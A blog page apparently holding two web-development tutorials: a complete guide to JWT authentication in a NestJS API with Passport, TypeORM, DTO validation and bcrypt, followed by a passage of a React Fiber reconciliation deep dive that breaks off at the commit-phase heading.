Clara Ekekenta — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Editor’s note: This article was reviewed and updated by Rosario De Chiara on 3 August 2026 to modernize the NestJS JWT authentication flow, add DTO validation, improve password hashing guidance, and clarify the roles of guards, strategies, and protected routes.

Authentication is one of the most important parts of any backend application. Before an API returns protected data or allows a user to perform an account-specific action, it needs a reliable way to verify who that user is.

In NestJS, a common way to do this is with JSON Web Tokens (JWTs). The user signs in with a username and password, the server validates those credentials, and the application returns a signed access token. The client then sends that token with future requests, usually in the Authorization: Bearer <token> header, so protected routes can verify the user without checking the password again.

It is important to implement this flow carefully. OWASP lists identification and authentication failures among the top web application security risks, and weak authentication code can expose accounts, tokens, and sensitive user data.

In this tutorial, we’ll build a basic JWT authentication flow in a NestJS API. We’ll use SQLite and TypeORM for persistence, Passport strategies for local and JWT authentication, DTOs for request validation, and bcrypt for password hashing.

By the end, you’ll have the following endpoints:

Endpoint	Method	Purpose	Auth required
`/users/signup`	`POST`	Create a user account and hash the password	No
`/auth/login`	`POST`	Validate credentials and return a JWT access token	No
`/auth/profile`	`GET`	Return the authenticated user’s token payload	Yes

Jump ahead:

Repository and technology

The source code for this project is available in this GitHub repository. The application uses:

NestJS for the API framework
SQLite as a local database
TypeORM to model and query the user table
Passport for local and JWT authentication strategies
@nestjs/jwt to sign access tokens
bcrypt to hash passwords
class-validator and class-transformer to validate request DTOs

The example uses SQLite to keep local setup simple. In a production application, you could use another database, such as PostgreSQL, MySQL, or MongoDB, with the same general authentication flow.

What is NestJS?

NestJS is a server-side framework for building Node.js applications. It is written in TypeScript and provides a structured application architecture around modules, controllers, services, decorators, dependency injection, and guards.

NestJS is often compared to Angular because it uses similar concepts, including dependency injection and decorators. That structure makes it useful for APIs that need clear separation between routing, business logic, validation, persistence, and security.

For authentication specifically, Nest integrates well with Passport through @nestjs/passport. Passport handles authentication strategies, while Nest guards decide whether a given request can reach a route handler.

How JWT authentication works in NestJS

Before we write code, it helps to separate the authentication flow into three parts:

Step	What happens	Main NestJS pieces
Signup	The API receives a username and password, hashes the password, and stores the user	`UsersController`, `UsersService`, DTO validation, `bcrypt`
Login	The API validates the username and password and returns a signed access token	`LocalStrategy`, `LocalAuthGuard`, `AuthService`, `JwtService`
Protected request	The API verifies the JWT and allows the request if the token is valid	`JwtStrategy`, `JwtAuthGuard`, protected controller route

A JWT should not contain sensitive data like passwords. In this example, the token payload contains the user ID in the sub claim and the username. Protected routes can then identify the authenticated user from the verified token payload.

Getting started

To run the project locally, clone the repository, install dependencies, and copy the example environment file:

npm install
cp .env.example .env

On Windows, use copy .env.example .env instead of cp.

Next, start the application in watch mode:

nest start --watch

The application will restart automatically when you make changes, which is useful while building and testing the authentication flow.

Creating the user module

To keep the application organized, create a dedicated users module:

nest g module users

This command creates a users folder with a users.module.ts file and updates app.module.ts for you.

Creating the user entity

Create a user.entity.ts file in the src/users/entities folder and add the following code:

import {
  Column,
  CreateDateColumn,
  Entity,
  PrimaryGeneratedColumn,
  UpdateDateColumn,
} from 'typeorm';

@Entity({ name: 'users' })
export class User {
  @PrimaryGeneratedColumn('uuid')
  id!: string;

  @Column({ unique: true })
  username!: string;

  @Column()
  password!: string;

  @CreateDateColumn()
  createdAt!: Date;

  @UpdateDateColumn()
  updatedAt!: Date;
}

The @Entity() decorator tells TypeORM to map this class to a database table. The id field is generated as a UUID, username is unique, and password stores the hashed password. The createdAt and updatedAt fields are managed automatically by TypeORM.

Next, update users.module.ts so the User entity is available through TypeORM:

import { Module } from '@nestjs/common';
import { TypeOrmModule } from '@nestjs/typeorm';
import { User } from './entities/user.entity';
import { UsersController } from './users.controller';
import { UsersService } from './users.service';

@Module({
  imports: [TypeOrmModule.forFeature([User])],
  controllers: [UsersController],
  providers: [UsersService],
  exports: [UsersService],
})
export class UsersModule {}

Exporting UsersService is important because the auth module will need to use it when validating login credentials.

Creating the user service

Create the users service with the Nest CLI:

nest g service users

This command creates users.service.ts. You can create the file manually, but the CLI keeps the module wiring consistent.

Now add the following code to users.service.ts:

import { ConflictException, Injectable } from '@nestjs/common';
import { InjectRepository } from '@nestjs/typeorm';
import { Repository } from 'typeorm';
import { User } from './entities/user.entity';

@Injectable()
export class UsersService {
  constructor(
    @InjectRepository(User)
    private readonly usersRepository: Repository<User>,
  ) {}

  async createUser(username: string, password: string): Promise<User> {
    const existingUser = await this.findByUsername(username);

    if (existingUser) {
      throw new ConflictException('Username already exists');
    }

    const user = this.usersRepository.create({ username, password });
    return this.usersRepository.save(user);
  }

  findByUsername(username: string): Promise<User | null> {
    return this.usersRepository.findOne({ where: { username } });
  }

  findById(id: string): Promise<User | null> {
    return this.usersRepository.findOne({ where: { id } });
  }
}

Here, @InjectRepository(User) injects the TypeORM repository for the User entity. The service checks for duplicate usernames before creating a user, then exposes lookup methods that the auth flow will use later.

Creating the DTO

In NestJS, a DTO, or Data Transfer Object, defines the shape of data a route expects to receive. DTOs are useful because they give your controllers a clear request contract and work with Nest’s validation pipeline.

Generate an auth credentials DTO:

nest generate class auth/dto/auth-credentials.dto --no-spec

Then add the following code to auth/dto/auth-credentials.dto.ts:

import { IsNotEmpty, IsString, MinLength } from 'class-validator';

export class AuthCredentialsDto {
  @IsString()
  @IsNotEmpty()
  username!: string;

  @IsString()
  @IsNotEmpty()
  @MinLength(6)
  password!: string;
}

This DTO requires both username and password, and it enforces a minimum password length.

To make DTO validation run automatically, enable Nest’s ValidationPipe in main.ts:

import { ValidationPipe } from '@nestjs/common';
import { NestFactory } from '@nestjs/core';
import { AppModule } from './app.module';

async function bootstrap() {
  const app = await NestFactory.create(AppModule);

  app.useGlobalPipes(
    new ValidationPipe({
      whitelist: true,
      forbidNonWhitelisted: true,
      transform: true,
    }),
  );

  await app.listen(process.env.PORT ?? 3000);
}
bootstrap();

whitelist: true strips properties that are not defined in the DTO. forbidNonWhitelisted: true rejects requests that include unexpected fields. transform: true lets Nest transform incoming payloads into DTO instances.

Creating the user controller

Create a user controller to define the signup route:

nest g controller users

Add the following code to users.controller.ts:

import { Body, Controller, Post } from '@nestjs/common';
import * as bcrypt from 'bcrypt';
import { AuthCredentialsDto } from '../auth/dto/auth-credentials.dto';
import { User } from './entities/user.entity';
import { UsersService } from './users.service';

type SafeUser = Omit<User, 'password'>;

@Controller('users')
export class UsersController {
  constructor(private readonly usersService: UsersService) {}

  @Post('signup')
  async signUp(@Body() credentialsDto: AuthCredentialsDto): Promise<SafeUser> {
    const hashedPassword = await bcrypt.hash(credentialsDto.password, 10);
    const user = await this.usersService.createUser(
      credentialsDto.username,
      hashedPassword,
    );

    const { password, ...safeUser } = user;
    return safeUser;
  }
}

The controller receives the validated DTO, hashes the password with bcrypt, and delegates user creation to UsersService. Notice that the response removes the password field before returning the user. Even though the value is hashed, password hashes should not be returned to clients.

Creating the auth module

Create the auth module with the following command:

nest g module auth

This command creates an auth folder with an auth.module.ts file and updates app.module.ts.

Configuring JWT

Now we can add JWT support to the application. Install the required packages:

npm install @nestjs/jwt @nestjs/passport passport passport-local passport-jwt bcrypt @nestjs/config
npm install --save-dev @types/passport-local @types/passport-jwt

Next, create auth/strategies/local.strategy.ts:

import { Injectable, UnauthorizedException } from '@nestjs/common';
import { PassportStrategy } from '@nestjs/passport';
import { Strategy } from 'passport-local';
import { AuthService } from '../auth.service';

@Injectable()
export class LocalStrategy extends PassportStrategy(Strategy) {
  constructor(private readonly authService: AuthService) {
    super();
  }

  async validate(username: string, password: string) {
    const user = await this.authService.validateUser(username, password);

    if (!user) {
      throw new UnauthorizedException('Invalid credentials');
    }

    return user;
  }
}

The local strategy handles username/password authentication. By default, passport-local expects username and password fields in the request body.

Next, create auth/strategies/jwt.strategy.ts:

import { Injectable } from '@nestjs/common';
import { ConfigService } from '@nestjs/config';
import { PassportStrategy } from '@nestjs/passport';
import { ExtractJwt, Strategy } from 'passport-jwt';

@Injectable()
export class JwtStrategy extends PassportStrategy(Strategy) {
  constructor(private readonly configService: ConfigService) {
    super({
      jwtFromRequest: ExtractJwt.fromAuthHeaderAsBearerToken(),
      ignoreExpiration: false,
      secretOrKey: configService.getOrThrow<string>('JWT_SECRET'),
    });
  }

  async validate(payload: { sub: string; username: string }) {
    return { userId: payload.sub, username: payload.username };
  }
}

The JWT strategy extracts the bearer token from the Authorization header, verifies the signature and expiration, and returns a user object that Nest attaches to req.user.

Then replace the code in auth/auth.module.ts with the following:

import { Module } from '@nestjs/common';
import { ConfigModule, ConfigService } from '@nestjs/config';
import { JwtModule, JwtModuleOptions } from '@nestjs/jwt';
import { PassportModule } from '@nestjs/passport';
import { UsersModule } from '../users/users.module';
import { AuthController } from './auth.controller';
import { AuthService } from './auth.service';
import { JwtStrategy } from './strategies/jwt.strategy';
import { LocalStrategy } from './strategies/local.strategy';

@Module({
  imports: [
    ConfigModule,
    UsersModule,
    PassportModule,
    JwtModule.registerAsync({
      imports: [ConfigModule],
      inject: [ConfigService],
      useFactory: (configService: ConfigService): JwtModuleOptions => ({
        secret: configService.getOrThrow<string>('JWT_SECRET'),
        signOptions: {
          expiresIn: configService.get<string>('JWT_EXPIRES_IN') ?? '1h',
        },
      }),
    }),
  ],
  controllers: [AuthController],
  providers: [AuthService, LocalStrategy, JwtStrategy],
})
export class AuthModule {}

Using registerAsync() lets the JWT module read configuration from environment variables. Avoid hardcoding the JWT secret in source code. The repository includes an .env.example file with placeholder values.

A basic .env file might look like this:

JWT_SECRET=replace_this_with_a_long_random_secret
JWT_EXPIRES_IN=1h

For production, use a long, randomly generated secret and store it in your deployment platform’s secret manager.

Creating the auth service

Create the auth service and controller:

nest generate service auth
nest generate controller auth

Then open auth/auth.service.ts and add the following code:

import { Injectable } from '@nestjs/common';
import { JwtService } from '@nestjs/jwt';
import * as bcrypt from 'bcrypt';
import { User } from '../users/entities/user.entity';
import { UsersService } from '../users/users.service';

@Injectable()
export class AuthService {
  constructor(
    private readonly usersService: UsersService,
    private readonly jwtService: JwtService,
  ) {}

  async validateUser(
    username: string,
    password: string,
  ): Promise<Pick<User, 'id' | 'username'> | null> {
    const user = await this.usersService.findByUsername(username);

    if (!user) {
      return null;
    }

    const passwordMatches = await bcrypt.compare(password, user.password);

    if (!passwordMatches) {
      return null;
    }

    return { id: user.id, username: user.username };
  }

  async login(user: Pick<User, 'id' | 'username'>) {
    const payload = { username: user.username, sub: user.id };

    return {
      access_token: await this.jwtService.signAsync(payload),
    };
  }
}

validateUser() checks the username and compares the submitted password with the stored password hash. If the credentials are valid, it returns only the fields needed for the JWT payload. login() signs the payload and returns an access token.

Creating auth guards

Guards decide whether a request can reach a route handler. Create auth/guards/local-auth.guard.ts:

import { Injectable } from '@nestjs/common';
import { AuthGuard } from '@nestjs/passport';

@Injectable()
export class LocalAuthGuard extends AuthGuard('local') {}

Then create auth/guards/jwt-auth.guard.ts:

import { Injectable } from '@nestjs/common';
import { AuthGuard } from '@nestjs/passport';

@Injectable()
export class JwtAuthGuard extends AuthGuard('jwt') {}

The local guard runs the local strategy on the login route. The JWT guard runs the JWT strategy on protected routes.

Creating the auth controller

Now add the following code to auth/auth.controller.ts:

import { Controller, Get, Post, Req, UseGuards } from '@nestjs/common';
import { Request as ExpressRequest } from 'express';
import { AuthService } from './auth.service';
import { JwtAuthGuard } from './guards/jwt-auth.guard';
import { LocalAuthGuard } from './guards/local-auth.guard';

type LocalUser = { id: string; username: string };
type JwtUser = { userId: string; username: string };

@Controller('auth')
export class AuthController {
  constructor(private readonly authService: AuthService) {}

  @UseGuards(LocalAuthGuard)
  @Post('login')
  login(@Req() req: ExpressRequest & { user: LocalUser }) {
    return this.authService.login(req.user);
  }

  @UseGuards(JwtAuthGuard)
  @Get('profile')
  getProfile(@Req() req: ExpressRequest & { user: JwtUser }) {
    return req.user;
  }
}

When a user sends valid credentials to /auth/login, the LocalAuthGuard runs LocalStrategy, which calls AuthService.validateUser(). Passport attaches the returned user object to req.user, and the controller passes it to AuthService.login().

When a user requests /auth/profile, the JwtAuthGuard checks the bearer token. If the token is valid, the route returns the token payload.

Testing the application

Start the application:

nest start --watch

Then test the signup route in Postman by sending a POST request to localhost:3000/users/signup with the following JSON body:

{
  "username": "rosario",
  "password": "secret123"
}

Next, test the login endpoint by sending a POST request to localhost:3000/auth/login with the same credentials:

{
  "username": "rosario",
  "password": "secret123"
}

If the username and password exist in the database, the API returns an access_token:

{
  "access_token": "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..."
}

To call the protected profile route, send a GET request to localhost:3000/auth/profile with this header:

Authorization: Bearer <access_token>

The endpoints and their role

Here is the complete endpoint flow:

Endpoint	Method	What it does
`/`	`GET`	Returns a basic greeting or health-check response
`/users/signup`	`POST`	Creates a user account with a hashed password
`/auth/login`	`POST`	Authenticates a user and returns a JWT access token
`/auth/profile`	`GET`	Returns the authenticated user payload from the verified JWT

The signup flow is straightforward: the client sends a username and password to /users/signup, the NestJS server hashes the password, stores the user in SQLite, and returns a 201 Created response.

The login flow starts when a registered user sends credentials to /auth/login. The local strategy validates the credentials, and the auth service returns a signed JWT.

Finally, the client sends that JWT to a protected endpoint.

For protected routes, the client and NestJS server are the main actors. The server does not need to check the user’s password again. Instead, it verifies the JWT signature and expiration. If the token is valid, the JWT strategy exposes the token payload to the route handler through req.user.

Common security mistakes to avoid

JWT authentication is easy to prototype, but several mistakes can make it unsafe in production:

Returning password hashes to the client: Hashes are not plaintext passwords, but they are still sensitive. Remove password before returning a user object.
Hardcoding the JWT secret: Keep secrets in environment variables or a secret manager. Do not commit them to source control.
Using weak or long-lived access tokens: Short-lived access tokens reduce the blast radius if a token leaks. For longer sessions, use a refresh-token flow rather than extending access-token lifetime indefinitely.
Skipping DTO validation: Validate login and signup payloads before they reach your service layer.
Confusing authentication and authorization: JWT authentication proves who the user is. It does not decide what the user is allowed to do. Add role- or permission-based guards when different users need different access levels.
Ignoring token storage tradeoffs: Bearer tokens in headers are straightforward for APIs, but frontend storage needs care. Local storage is vulnerable to token theft if your app has an XSS flaw. Cookies can reduce some exposure, but need HttpOnly, Secure, SameSite, and CSRF considerations.

Conclusion

In this tutorial, we implemented JWT authentication in a NestJS API using Passport, TypeORM, SQLite, DTO validation, and bcrypt password hashing. The final application can create users, authenticate credentials, issue JWT access tokens, and protect routes with a JWT guard.

The key pattern is to keep each responsibility separate: the users module owns persistence, the auth service owns credential validation and token signing, the local strategy handles login, and the JWT strategy protects authenticated routes. That structure is what makes the authentication flow easier to test and extend.

For production, treat this as a foundation rather than a complete auth system. Add refresh tokens if users need long-lived sessions, enforce authorization rules for protected resources, store secrets outside source control, and consider whether headers or cookies are the safer token transport for your frontend architecture.

To learn more, refer to the official NestJS authentication documentation.

#nestjs

A deep dive into React Fiber

Karthik Kalyanaraman — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Editor’s note: This post was updated on 30 July 2026 by David Omotayo to reflect modern React architecture and updates to React Fiber from React v16 through React 19. Key additions include coverage of concurrent rendering, automatic batching, modern root APIs (createRoot), Actions and asynchronous transitions in React 19, useDeferredValue, the Activity component introduced in React 19.2, expanded Suspense capabilities like selective hydration and sibling scheduling, and a new comparison of React Fiber and the React Compiler.

Ever wondered what actually happens under the hood when you render a React application? We know that ReactDOM builds the DOM tree and displays your UI on screen, but how does React construct that tree, and how does it efficiently update it when state changes?

In this guide, we’ll explore React Fiber, React’s core reconciliation engine. We’ll look at how React built the DOM up through v15, the performance pitfalls of that early stack model, and how Fiber’s asynchronous architecture solved those issues from React v16 through React 19.

What is React Fiber?

React Fiber is an internal engine change geared to make React faster and smarter. The Fiber reconciler, which became the default reconciler for React 16 and above, is a complete rewrite of React’s reconciliation algorithm to solve some long-standing issues in React.

Because Fiber is asynchronous, React can:

Pause, resume, and restart rendering work on components as new updates come in
Reuse previously completed work and even abort it if not needed
Split work into chunks and prioritize tasks based on importance

This change allows React to break away from the limits of the synchronous stack reconciler. Previously, you could add or remove items, for example, but it had to work until the stack was empty, and tasks couldn’t be interrupted.

This change also allows React to fine-tune rendering components, ensuring that the most important updates happen as soon as possible. Now, to truly understand the powers of Fiber, let’s talk about the old reconciler: the stack reconciler.

What is React’s stack reconciler?

Let’s start with our familiar ReactDOM.render(<App />, document.getElementById('root')). The ReactDOM module passes the <App /> to the reconciler, but there are two questions here:

What does <App /> refer to?
What is the reconciler?

Let’s unpack these two questions.

What is `<App />`?

<App /> is a React element, and “elements describe the tree.” According to the React blog, “An element is a plain object describing a component instance or DOM node and its desired properties.”

In other words, elements are not actual DOM nodes or component instances; they are a way to describe to React what kind of elements they are, what properties they hold, and who their children are.

This is where React’s real power lies: React abstracts away the complex pieces of how to build, render, and manage the lifecycle of the actual DOM tree by itself, effectively making the life of the developer easier.

To understand what this really means, let’s look at a traditional approach using object-oriented concepts.

Why does React use elements instead of DOM instances?

React elements let developers describe the desired interface without manually creating, updating, and destroying every DOM object.

In the typical object-oriented programming world, developers must instantiate and manage the lifecycle of every DOM element. For instance, if you want to create a simple form and a submit button, the state management still requires some effort from the developer.

Let’s assume the Button component has a isSubmitted state variable. The lifecycle of the Button component looks something like the flowchart below, where each state must be managed by the app:

The size of the flowchart and the number of lines of code grow exponentially as the number of state variables increases.

So, React has elements to solve this problem; in React, there are two kinds of elements: the DOM element and the component element.

The DOM element is an element that’s a string; for instance, <button class="okButton"> OK </button>.

The component element is a class or a function, for example, <Button className="okButton"> OK </Button>, where <Button> is either a class or a functional component. These are the typical React components we generally use.

It is important to understand that both types are simple objects. They are mere descriptions of what must be rendered on the screen and don’t instigate rendering when you create and instantiate them.

What is React reconciliation?

React reconciliation is the process React uses to compare component trees and determine which parts of the rendered output need to change.

This makes it easier for React to parse and traverse them to build the DOM tree. The actual rendering happens later when traversing finishes.

When React encounters a class or a function component, it will ask that element what element it renders based on its props.

For instance, if the <App> component rendered the following, then React will ask the <Form> and <Button> components what they render based on their corresponding props:

<Form>
  <Button>
    Submit
  </Button>
</Form>

So, if the Form component is a functional component that looks like the following, React will call render() to know what elements it renders and see that it renders a <div> with a child

const Form = (props) => {
  return(
    <div className="form">
      {props.form}
    </div>
  )
}

React will repeat this process until it knows the underlying DOM tag elements for every component on the page.

This exact process of recursively traversing a tree to know the underlying DOM tag elements of a React app’s component tree is known as reconciliation. By the end of the reconciliation, React knows the result of the DOM tree, and a renderer like react-dom or react-native applies the minimal set of changes necessary to update the DOM nodes. This means that when you call ReactDOM.render() or setState(), React performs reconciliation.

In the case of setState, it performs a traversal and determines what changed in the tree by diffing the new tree with the rendered tree. Then, it applies those changes to the current tree, thereby updating the state corresponding to the setState() call.

Note: ReactDOM.render() is used in this section because it reflects the API available when Fiber was introduced. It was deprecated in React 18 and removed in React 19. Modern client-rendered applications use createRoot() instead.

import { createRoot } from "react-dom/client";

const root = createRoot(document.getElementById("root"));

root.render(<App />);

Now that we understand what reconciliation is, let’s look at the pitfalls of this model.

What is the React stack reconciler?

The stack reconciler was React’s original reconciliation system. It recursively processed the component tree using the JavaScript call stack and could not pause once rendering began. Its name is derived from the stack data structure, which is a last-in, first-out (LIFO) mechanism.

You might wonder what stack behavior has to do with what we just covered. As it turns out, because we are performing recursion, it has everything to do with the call stack.

How did recursion limit React’s old reconciler?

React’s old reconciler recursively rendered each component and then moved through its children until it reached the leaf DOM elements.

To understand why that’s the case, let’s take a simple example and see what happens in the call stack:

function fib(n) {
  if (n < 2){
    return n
  }
  return fib(n - 1) + fib (n - 2)
}

fib(10)

As we can see, the call stack pushes every call to fib() into the stack until it pops fib(1), which is the first function call to return.

Then, it continues pushing the recursive calls and pops again when it reaches the return statement. In this way, it effectively uses the call stack until fib(3) returns and becomes the last item pop from the stack.

The reconciliation algorithm we just saw is a purely recursive algorithm. An update results in the entire subtree re-rendering immediately. While this works well, this has some limitations.

As Andrew Clark notes, in a UI, it’s not necessary for every update to apply immediately; in fact, doing so can be wasteful, causing frames to drop and degrading the user experience.

Also, different types of updates have different priorities; an animation update must be completed faster than an update from a data store.

What is frame rate and why does it cause UI jank?

Frame rate is the frequency at which consecutive images appear on a display. Everything we see on our computer screens is composed of images or frames played on the screen at a rate that appears instantaneous to the eye.

To understand what this means, think of the computer display as a flipbook and the pages of the flipbook as frames played at some rate when you flip them.

Comparatively, a computer display is nothing but an automatic flipbook that plays continuously when things change on the screen.

Typically, for a video to feel smooth and instantaneous to the human eye, the video must play at a rate of about 30 frames per second (FPS); anything higher gives a better experience.

Most devices these days refresh their screens at 60 FPS, 1/60 = 16.67ms, which means a new frame displays every 16ms. This number is important because if the React renderer takes more than 16ms to render something on the screen, the browser drops that frame.

In reality, however, the browser has housekeeping to do, so all your work must be completed within 10ms. When you fail to meet this budget, the frame rate drops, and the content judders on screen. This is often referred to as jank, and it negatively impacts the user’s experience.

Of course, this is not a big concern for static and textual content. But in the case of displaying animations, this number is critical.

If the React reconciliation algorithm traverses the entire app tree and re-renders it on every update, and that traversal takes longer than 16ms, the browser will drop frames.

This is a big reason why many wanted updates categorized by priority and not blindly applying every update passed down to the reconciler. Also, many wanted the ability to pause and resume work in the next frame. This way, React could have better control over working with the 16ms rendering budget.

This led the React team to rewrite the reconciliation algorithm, which is called Fiber. So, let’s look at how Fiber works to solve this problem.

How does React Fiber work under the hood?

Now that we know what motivated Fiber’s development, let’s summarize the features needed to achieve it. Again, I am referring to Andrew Clark’s notes for this:

Assign priority to different types of work
Pause work and come back to it later
Abort work if it’s no longer needed
Reuse previously completed work

One of the challenges with implementing something like this is how the JavaScript engine works and the lack of threads in the language. To understand this, let’s briefly explore how the JavaScript engine handles execution contexts.

How does the JavaScript execution stack limit rendering?

JavaScript normally executes synchronous functions until the call stack is empty. React’s old recursive reconciler relied on this stack, so it could not pause rendering to handle more urgent browser work.

Whenever you write a function in JavaScript, the JavaScript engine creates a function execution context. Each time the JavaScript engine starts, it creates a global execution context that holds the global objects; for example, the window object in the browser and the global object in Node.js.

JavaScript handles both contexts using a stack data structure also known as the execution stack. So, when you write something like this, the JavaScript engine first creates a global execution context and pushes it into the execution stack:

function a() {
  console.log("i am a")
  b()
}

function b() {
  console.log("i am b")
}

a()

Then, it creates a function execution context for the a() function. Since b() is called inside a(), it creates another function execution context for b() and pushes it into the stack.

When the b() function returns, the engine destroys the context of b(). When we exit the a() function, the a() context is destroyed. The stack during execution looks like this:

But, what happens when the browser makes an asynchronous event like an HTTP request? Does the JavaScript engine stack the execution stack and handle the asynchronous event, or does it wait until the event completes?

The JavaScript engine does something different here: on top of the execution stack, the JavaScript engine has a queue data structure, also known as the event queue. The event queue handles asynchronous calls like HTTP or network events coming into the browser.

The JavaScript engine handles the items in the queue by waiting for the execution stack to empty. So, each time the execution stack empties, the JavaScript engine checks the event queue, pops items off the queue, and handles the event.

It is important to note that the JavaScript engine checks the event queue only when the execution stack is empty or the only item in the execution stack is the global execution context.

Although we call them asynchronous events, there is a subtle distinction here: the events are asynchronous with respect to when they arrive in the queue, but they’re not really asynchronous with respect to when they are actually handled.

Coming back to our stack reconciler, when React traverses the tree, it does so in the execution stack. So, when the updates arrive, they arrive in the event queue (sort of). And only when the execution stack empties are the updates handled.

This is precisely the problem Fiber solves by almost reimplementing the stack with intelligent capabilities—pausing, resuming, and aborting, for example.

Again referencing Andrew Clark, “Fiber is a reimplementation of the stack, specialized for React components. You can think of a single fiber as a virtual stack frame.

“The advantage of reimplementing the stack is that you can keep stack frames in memory and execute them however and whenever you want. This is crucial for accomplishing the goals we have for scheduling.

“Aside from scheduling, manually dealing with stack frames unlocks the potential for features such as concurrency and error boundaries.” We will cover these topics in future sections.

In simple terms, a fiber represents a unit of work with its own virtual stack. In the previous implementation of the reconciliation algorithm, React created a tree of objects (React elements) that are immutable and traversed the tree recursively.

In the current implementation, React creates a tree of fiber nodes that can mutate. The fiber node effectively holds the component’s state, props, and underlying DOM element it renders to.

And, since fiber nodes can mutate, React doesn’t need to recreate every node for updates; it can simply clone and update the node when there is an update.

In the case of a fiber tree, React doesn’t perform recursive traversal. Instead, it creates a singly-linked list and performs a parent-first, depth-first traversal.

What is a singly-linked list of fiber nodes?

A fiber node represents a stack frame and an instance of a React component. A fiber node comprises the following members:

Type
Key
Child
Sibling
Return
Alternate
Output

Type

<div> and <span>, for example, host components (strings), classes, or functions for composite components.

Key

The key is the same as the key we pass to the React element.

Child

Represents the element returned when we call render() on the component:

const Name = (props) => {
  return(
    <div className="name">
      {props.name}
    </div>
  )
}

The child of <Name> is <div> because it returns a <div> element.

Sibling

Represents a case where render returns a list of elements:

const Name = (props) => {
  return([<Customdiv1 />, <Customdiv2 />])
}

In the above case, <Customdiv1> and <Customdiv2> are the children of <Name>, which is the parent. The two children form a singly-linked list.

Return

Return is the return back to the stack frame, which is a logical return back to the parent fiber node, and thus, represents the parent.

`pendingProps` and `memoizedProps`

Memoization means storing the values of a function execution’s result so you can use it later, thereby avoiding recomputation. pendingProps represents the props passed to the component, and memoizedProps initializes at the end of the execution stack, storing the props of this node. When the incoming pendingProps are equal to memoizedProps, it signals that the fiber’s previous output can be reused, preventing unnecessary work.

`pendingWorkPriority`

pendingWorkPriority is a number indicating the priority of the work represented by the fiber. The ReactPriorityLevel module lists the different priority levels and what they represent. With the exception of NoWork, which is zero, a larger number indicates a lower priority.

For example, you could use the following function to check if a fiber’s priority is at least as high as the given level. The scheduler uses the priority field to search for the next unit of work to perform:

function matchesPriority(fiber, priority) {
  return fiber.pendingWorkPriority !== 0 &&
         fiber.pendingWorkPriority <= priority
}

Alternate

At any time, a component instance has at most two fibers that correspond to it: the current fiber and the in-progress fiber. The alternate of the current fiber is the fiber in progress, and the alternate of the fiber in progress is the current fiber. The current fiber represents what is rendered already, and the in-progress fiber is conceptually the stack frame that has not returned.

Output

The output is the leaf nodes of a React application. They are specific to the rendering environment (for example, in a browser app, they are div and span). In JSX, they are denoted using lowercase tag names.

Conceptually, the output of a fiber is the return value of a function. Every fiber eventually has an output, but the output is created only at the leaf nodes by host components. The output is then transferred up the tree.

The output is eventually given to the renderer so that it can flush the changes to the rendering environment. For example, let’s look at how the fiber tree looks for an app with the following code:

const Parent1 = (props) => {
  return([<Child11 />, <Child12 />])
}

const Parent2 = (props) => {
  return(<Child21 />)
}

class App extends Component {
  constructor(props) {
    super(props)
  }
  render() {
    <div>
      <Parent1 />
      <Parent2 />
    </div>
  }
}

ReactDOM.render(<App />, document.getElementById('root'))

We can see that the fiber tree is composed of singly-linked lists of child nodes linked to each other (sibling relationship) and a linked list of parent-to-child relationships. This tree can be traversed using a depth-first search.

What happens during React Fiber’s render phase?

During the render phase, React builds or updates the work-in-progress fiber tree and determines which changes may need to be committed.

To understand how React builds this tree and performs the reconciliation algorithm on it, let’s look at a unit test in the React source code with an attached debugger to follow the process; you can clone the React source code and navigate to this directory.

To begin, add a Jest test and attach a debugger. This is a simple test for rendering a button with text. When you click the button, the app destroys the button and renders a <div> with different text, so the text is a state variable here:

'use strict';

let React;
let ReactDOM;

describe('ReactUnderstanding', () => {
  beforeEach(() => {
    React = require('react');
    ReactDOM = require('react-dom');
  });

  it('works', () => {
    let instance;

    class App extends React.Component {
      constructor(props) {
        super(props)
        this.state = {
          text: "hello"
        }
      }

      handleClick = () => {
        this.props.logger('before-setState', this.state.text);
        this.setState({ text: "hi" })
        this.props.logger('after-setState', this.state.text);
      }

      render() {
        instance = this;
        this.props.logger('render', this.state.text);
        if(this.state.text === "hello") {
        return (
          <div>
            <div>
              <button onClick={this.handleClick.bind(this)}>
                {this.state.text}
              </button>
            </div>
          </div>
        )} else {
          return (
            <div>
              hello
            </div>
          )
        }
      }
    }
    const container = document.createElement('div');
    const logger = jest.fn();
    ReactDOM.render(<App logger={logger}/>, container);
    console.log("clicking");
    instance.handleClick();
    console.log("clicked");

    expect(container.innerHTML).toBe(
      '<div>hello</div>'
    )

    expect(logger.mock.calls).toEqual(
      [["render", "hello"],
      ["before-setState", "hello"],
      ["render", "hi"],
      ["after-setState", "hi"]]
    );
  })

});

In the initial render, React creates a current tree that renders initially. createFiberFromTypesAndProps() is the function that creates each React fiber using the data from the specific React element. When we run the test, put a breakpoint at this function, and look at the call stack:

As we can see, the call stack tracks back to a render() call, which eventually goes down to createFiberFromTypeAndProps(). There are a few other functions that are of interest here: workLoopSync(), performUnitOfWork(), and beginWork().

`workLoopSync()`

workLoopSync() is when React starts building up the tree, starting with the <App> node and recursively moving on to <div>, <div>, and <button>, which are the children of <App>. The workInProgress function holds a reference to the next fiber node that has work to do.

`performUnitOfWork()`

performUnitOfWork() takes a fiber node as an input argument, gets the alternate of the node, and calls beginWork(). This is the equivalent of starting the execution of the function execution contexts in the execution stack.

`beginWork()`

When React builds the tree, beginWork() simply leads up to createFiberFromTypeAndProps() and creates the fiber nodes. React recursively performs work and eventually performUnitOfWork() returns a null, indicating that it has reached the end of the tree.

Using `instance.handleClick()`

Now, what happens when we perform instance.handleClick(), which clicks the button and triggers a state update? In this case, React traverses the fiber tree, clones each node, and checks whether it needs to perform any work on each node.

When we look at the call stack of this scenario, it looks something like this:

Although we did not see completeUnitOfWork() and completeWork() in the first call stack, we can see them here. Just like performUnitOfWork() and beginWork(), these two functions perform the completion part of the current execution, which means returning back to the stack.

As we can see, together these four functions execute the unit of work and give control over the work being done currently, which is exactly what was missing in the stack reconciler.

The image below shows that each fiber node is composed of four phases required to complete that unit of work.

It’s important to note here that each node doesn’t move to completeUnitOfWork() until its children and siblings return completeWork().

For instance, it starts with performUnitOfWork() and beginWork() for <App/>, then moves on to performUnitOfWork() and beginWork() for Parent1, and so on. It comes back and completes the work on <App> once all the children of <App/> complete the work.

This is when React completes its render phase. The tree that’s newly built based on the click() update is called the workInProgress tree. This is basically the draft tree waiting to be rendered.

What happens during React Fiber’s commit phase?

